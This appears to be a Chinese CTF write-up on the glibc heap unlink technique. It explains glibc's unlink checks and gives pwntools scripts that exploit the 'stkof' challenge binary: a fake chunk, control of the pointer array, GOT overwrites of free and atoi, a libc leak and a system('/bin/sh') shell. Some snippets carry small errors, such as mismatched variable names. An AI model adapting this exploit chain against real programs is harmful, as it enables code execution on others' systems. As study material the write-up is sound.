0%

unlink

unlink

原理:

在执行_int_free()函数的时候会执行unlink:

1
2
3
4
5
6
7
#define unlink(AV, P, BK, FD)
static void _int_free (mstate av, mchunkptr p, int have_lock)
free(){
_int_free(){
unlink();
}
}

chunk1 free进入unsortedbin 的时候,如果相邻地址的chunk的chunk2处于空闲状态:

unlink会将chunk1和chunk2进行合并操作,而chunk2的fd和bk位置对应的地址就会进行unlink也就是断链操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
#include <stdlib.h>
void main(){
long *hollk1 = malloc(0x80);
long *first_chunk = malloc(0x80);
long *hollk3 = malloc(0x80);
long *second_chunk = malloc(0x80);
long *hollk5 = malloc(0x80);
long *third_chunk = malloc(0x80);
long *hollk7 = malloc(0x80);

free(first_chunk);
free(second_chunk);
free(third_chunk);

}

全部free完成后的情况:

image-20251201212019654

image-20251201212106544

注:0x440是chunk2 0x669是chunk1 0x9a2是chunk3 0x4d0是chunk4

image-20251201230538872

这里在进行free(Chunk4)的时候 由于chunk2与chunk4相邻就会合并chunk2 而chunk1和chunk3的bk 和 fd就会进行Unlink:

image-20251201225847125

但是还需要绕过一下三个检测

image-20251201225936936

  1. 检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小

    可以看左图绿色框中的内容,上面绿色框中的内容是second_chunk的size大小,下面绿色框中的内容是hollk5的prev_size,这两个绿色框中的数值是需要相等的(忽略P标志位)

  2. 检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0

    可以看左图蓝色框中的内容,这里是hollk5的size,hollk5的size的P标志位为0,代表着它前一个chunk(second_chunk)为空闲状态

  3. 检查3:检查前后被释放chunk的fd和bk

    可以看左图红色框中的内容,这里是second_chunk的fd和bk。首先看fd,它指向的位置就是前一个被释放的块first_chunk,这里需要检查的是first_chunk的bk是否指向second_chunk的地址。再看second_chunk的bk,它指向的是后一个被释放的块third_chunk,这里需要检查的是third_chunk的fd是否指向second_chunk的地址。

stkof

creat:

image-20251201214023872

delete:

image-20251201214134444

edit:

image-20251201214139392

image-20251201214644090

创立的chunk 只需要管后两个堆块

image-20251201214657971

存储heap的数组n

下面讲解一下unlink的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import * 

p = process('./stkof')

elf = ELF('./stkof')

libc = elf.libc

def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')


def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')


def free(idx):
p.sendline('3')
p.sendline(str(idx))

gdb.attach(p)
alloc(0x100)

alloc(0x30)

alloc(0x80)

pay = p64(0) + p64(0x20)
pay +=p64(0x602138) + p64(0x602140)
pay +=p64(0x20)
pay = pay.ljust(0x30,b'a')
pay += p64(0x30) + p64(0x90)

edit(2,len(pay),pay)
#gdb.attach(p)
free(3)

unlink的目的是控制数组n 实现任意地址写:

利用edit伪造了一个已经free掉进入unsortedbin中的chunk 然后free(chunk3)的时候触发unlink 实现了修改chunk3 fd的目的。

image-20251201230227275

fake chunk:

image-20251201215704590

image-20251201230159757

可以看到绕过了上述的检测。

这里看一下伪造的fd 和 bk 也就是chunk3和chunk2:

这两个伪造的堆块位于数组n

image-20251201215923846

38的bk和40的fd都指向我们伪造的fake chunk

然后free chunk3(与fake chunk地址相邻)后:

image-20251201230126886

① fake_chunk被摘除之后首先执行的就是first_bk = third_addr,也就是说first_chunk的bk由原来指向fake_chunk地址更改成指向third_chunk地址:

image-20251201230014783

② 接下来执行third_fd = first_addr,即third_chunk的fd由由原来指向fake_chunk地址更改成first_chunk地址:

image-20251201230046906

这里需要注意的是third_chunk的fdfirst_chunk的bk更改的其实是一个位置,但是由于third_fd = first_addr后执行,所以此处内容会从0x602140被覆盖成0x602138。

image-20251201220335322

总结一下:最终利用的是修改third chunk(fake chunk)的fd指向数组n。

后续通过数组n实现任意地址写:

1
2
3
pay2 = p64(0) + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi']) 
gdb.attach(p)
edit(2,len(pay2),pay2)

image-20251201220933985

1
2
3
4
5
6
7
8
payload = p64(hollkelf.plt['puts'])
edit(0, len(payload), payload) //把free覆盖成puts函数
puts_addr = hollk.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']

触发system(binsh)

1
2
3
4
5
6
7
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
payload = p64(system_addr)
edit(2, len(payload), payload) //把auti覆盖成system
p.send(p64(binsh_addr))
p.interactive()